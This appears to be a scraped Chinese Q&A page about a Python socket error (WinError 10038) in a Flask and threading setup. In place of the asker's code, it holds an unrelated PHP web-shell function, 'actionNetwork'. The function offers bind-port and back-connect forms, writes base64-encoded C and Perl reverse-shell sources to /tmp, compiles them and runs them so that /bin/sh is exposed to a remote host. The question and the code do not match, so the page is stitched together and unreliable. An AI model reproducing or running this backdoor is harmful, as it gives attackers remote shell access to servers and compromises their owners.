python无法将参数识别为套接字

时间:2019-07-03 16:20:44

标签: python-3.x sockets types python-multithreading socketserver

我正在尝试使Flask页面与套接字服务器交互。目前,我具有发送数据的功能和接收数据的功能。服务器接受连接后,它将创建一个新的连接对象并将这些对象存储在列表中。然后,它为输入或输出创建一个线程以发送或接收数据(该网站实质上是一个输入设备)。但是,在胎面内部调用socket.recv时,Python返回“ OSError:[WinError 10038]尝试对非套接字的对象进行操作”。

我添加了打印语句,以检查传递给接收函数的参数的类型,然后返回,但是当尝试在下一行调用socket.recv()时,它尝试对不是一个插座。

function actionNetwork() {
hardHeader();
$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZ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B7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
echo "<h1>Network tools</h1><div class=content>
<form name='nfp' onSubmit='g(null,null,this.using.value,this.port.value,this.pass.value);return false;'>
<span>Bind port to /bin/sh</span><br/>
Port: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass'> Using: <label><select name='using'><option value='bpc'>C</option><option value='bpp'>Perl</option></select></label> <input type=submit value='submit'>
</form>
<form name='nfp' onSubmit='g(null,null,this.using.value,this.server.value,this.port.value);return false;'>
<span>Back-connect to</span><br/>
Server: <input type='text' name='server' value=". $_SERVER['REMOTE_ADDR'] ."> Port: <input type='text' name='port' value='31337'> Using: <label><select name='using'><option value='bcc'>C</option><option value='bcp'>Perl</option></select></label> <input type=submit value='submit'>
</form><br>";
if(isset($_POST['p1'])) {
    function cf($f,$t) {
        $w=@fopen($f,"w") or @function_exists('file_put_contents');
        if($w)  {
            @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
            @fclose($w);
        }
    }
    if($_POST['p1'] == 'bpc') {
        cf("/tmp/bp.c",$bind_port_c);
        $▖ = ex("gcc -o /tmp/bp /tmp/bp.c");
        @unlink("/tmp/bp.c");
        $▖ .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
        echo "<pre class=ml1>$▖".ex("ps aux | grep bp")."</pre>";
    }
    if($_POST['p1'] == 'bpp') {
        cf("/tmp/bp.pl",$bind_port_p);
        $▖ = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
        echo "<pre class=ml1>$▖".ex("ps aux | grep bp.pl")."</pre>";
    }
    if($_POST['p1'] == 'bcc') {
        cf("/tmp/bc.c",$back_connect_c);
        $▖ = ex("gcc -o /tmp/bc /tmp/bc.c");
        @unlink("/tmp/bc.c");
        $▖ .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
        echo "<pre class=ml1>$▖".ex("ps aux | grep bc")."</pre>";
    }
    if($_POST['p1'] == 'bcp') {
        cf("/tmp/bc.pl",$back_connect_p);
        $▖ = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
        echo "<pre class=ml1>$▖".ex("ps aux | grep bc.pl")."</pre>";
    }
}
echo '</div>';
hardFooter();

我希望函数继续运行,直到收到一条消息,然后将缓冲区设置为等于该消息,并将bufferFull bool更改为True

实际上我收到OSError:[WinError 10038]尝试对非套接字的东西进行操作

0 个答案:

没有答案